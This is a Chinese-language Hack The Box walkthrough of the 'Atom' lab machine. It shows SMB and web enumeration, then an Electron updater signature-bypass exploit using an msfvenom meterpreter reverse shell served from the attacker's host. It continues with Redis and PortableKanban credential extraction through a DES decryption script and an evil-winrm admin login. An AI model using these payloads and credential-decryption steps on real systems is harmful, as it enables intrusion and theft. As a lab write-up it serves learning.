Hackthebox - Atom
靶场信息

靶场类型

信息搜集
Nmap
首先使用NMAP进行端口扫描

Smb
我们可以看到,这台靶场开启了80 135 443 445端口,以及有SMB服务
且SMB服务可以由guest权限登录,那咱们就先看看smb有啥吧
smbclient -L ////10.10.10.237////
密码为空即可

看看我们可以匿名阅读的内容有哪些
smbmap -u 'anonymous' -p '' -H 10.10.10.237

看来可以匿名读写Software_Updates目录
smbclient [\\\\10.10.10.237\\Software_Updates](file:///////10.10.10.237//Software_Updates)
登录 然后使用dir查看

看来UAT_Testing_Procedures.pdf文档可以被下载,咱们使用get进行下载


我们可以看到,该文档描述了一个名为Heed的笔记应用,它是一个基于客户端的应用程序,没有与服务器交互。但是它确实通过客户端文件夹进行了更新,我们可以看到已经有三个文件夹了,分别是client1、client2、client3,所以我们接下来访问80端口


我们往下翻滚,可以看到一个下载按钮和一个邮箱MrR3boot@atom.htb
既然域名都给了,那还是老规矩,添加hosts吧
vim /etc/hosts

Gobuster
既然都添加了,那目录爆破和子域名爆破就不能少了,爆破吧
gobuster爆破目录
gobuster dir -u "http://10.10.10.237/" -x php,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

gobuster爆破DNS
gobuster dns -d 'atom.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

简单爆破了一下,好像都没啥有用的东西,那咱们只能去下载了


下载下来后是一个exe程序,这就不得不切换一台windows的机器出来了

安装好后是酱婶儿的


这告诉我们这是一个电子应用程序

通过Googles搜索rce程序

https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html

Juliano Rizzo 这里提到了是由这位大佬发现的漏洞,感谢


这里说它将从latest.yml进行更新
漏洞利用
首先我们生成带有单引号的有效负载
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.184 LPORT=4444 -f exe > "u'payload.exe"

现在我们需要生成一个 sha512 sum hash 并将其转换为十六进制,然后进一步转换为base64
shasum -a 512 "u'payload.exe" | cut -d " " -f1 | xxd -r -p | base64

kPA7kwD6QtUcXqDkwnQacg7ZUWGSBiz4oTaWQuxceC7t8SRYcq5T6CBmujUbrHhMVKLJ+RftvSkmpXGFJ1cCMg==
创建latest.yml文件
version: 1.0.1
path: http://10.10.14.184/u'payload.exe
sha512: kPA7kwD6QtUcXqDkwnQacg7ZUWGSBiz4oTaWQuxceC7t8SRYcq5T6CBmujUbrHhMVKLJ+RftvSkmpXGFJ1cCMg==

使用python3开启一个http服务器
python3 -m http.server 80

替换掉smb共享中的yml文件



三个文件夹都要替换
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
使用msfconsole开启监听

配置好配置项后exploit执行

我们可以看到 http服务器里已经收到了GET请求
然后我们再去看看MSF

已经成功getshell了
如果没有弹回shell,就多尝试几次,或使用1.2.3版本号
权限提升

为了提权,我先输入了getprivs查看当前用户的权限
输入shell进入shell控制

首先进入Program Files目录

然后进入Redis目录

然后我们看到redis的配置文件 redis.windows-service.conf

我们可以看到,里面有redis cli的密码kidvscat_yes_kidvscat

然后咱们发现这台靶机的6379端口 也就是redis服务开着呢,那就直接登录吧

登录成功,并使用info进行信息查看
使用keys *列出所有hash

e8e29158-d70d-44b1-a1ba-4949d52790a0
查看user用户的相关信息
get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0

我们得到了一个管理员的hash
Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi

同时我们在用户jason的桌面发现了一个user.txt
成功拿到user权限的flag

在检查其他文件的时候,找到了两个文件夹,咱们进去看看

这里似乎没什么有用的东西,咱们看看另一个文件夹

这个程序引起了我的兴趣,然后去Google了一下
然后找到了一个exp


可能。。。这就是缘分吧?

咱们查看一下配置文件Portablekanban.cfg
获得了portablekanban的hash值
Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb
这时候开动我们机灵的小脑瓜,动起我们勤劳的小手,小小的修改一下exp
import json
import base64
from des import * #python3 -m pip install des
import sys
def decode(hash):
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')
print(decode('Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi'))

执行一下这个脚本

成功得到Administrator的密码kidvscat_admin_@123

我们可以看到5985端口是开启的
别问我怎么知道,因为思路卡壳的我,想了一晚上
NB吗?用头发换的
经过Google,我们发现5985端口是WinRM程序使用的端口
那咱们就根据文档来利用吧
注意,在kali中安装winrm的指令是
gem install evil-winrm
安装好后使用evil-winrm进行登录
evil-winrm -i 10.10.10.237 -u 'administrator' -p 'kidvscat_admin_@123'


成功拿到root权限的flag
收工睡觉